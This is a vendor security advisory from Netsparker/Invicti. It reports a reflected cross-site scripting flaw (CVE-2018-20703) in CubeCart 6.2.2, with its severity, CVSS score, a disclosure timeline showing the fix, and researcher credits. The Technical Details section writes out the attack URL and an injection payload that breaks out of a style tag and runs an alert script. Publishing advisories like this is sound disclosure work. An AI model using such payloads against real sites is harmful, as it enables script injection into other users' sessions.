Information
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Advisory by Netsparker (now Invicti)
Name: Reflected Cross-site Scripting Vulnerability in CubeCart
Affected Software: CubeCart
Affected Versions: 6.2.2
Homepage: https://www.cubecart.com/
Vulnerability: Reflected Cross-site Scripting
Severity: High
Status: Fixed
CVE-ID: CVE-2018-20703
CVSS Score (3.0): 5.5 (CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:L)
Invicti Advisory Reference: NS-18-025

Technical Details
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URL: http://{DOMAIN}/{PATH-OF-CUBECART}/{ADMIN-FILE}/?'"--></style></Script><Script>alert(0x3)</Script>
Parameter Name: Query String
Parameter Type: GET
Attack Pattern: '"--></style></Script><Script>alert(0x3)</Script>

For more information on cross-site scripting vulnerabilities read the article Cross-site Scripting (XSS).

Advisory Timeline
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26th July 2018 - First Contact
7th August 2018 - Vendor Fixed
3rd December 2018 - Advisory Released

Credits & Authors
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These issues have been discovered by Zekvan Arslan while testing Invicti Web Application Security Scanner.

About Invicti
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Invicti Security is transforming the way web applications are secured. Invicti empowers organizations in every industry to scale their overall security operations, make the best use of their security resources, and engage developers in helping to improve their overall security posture.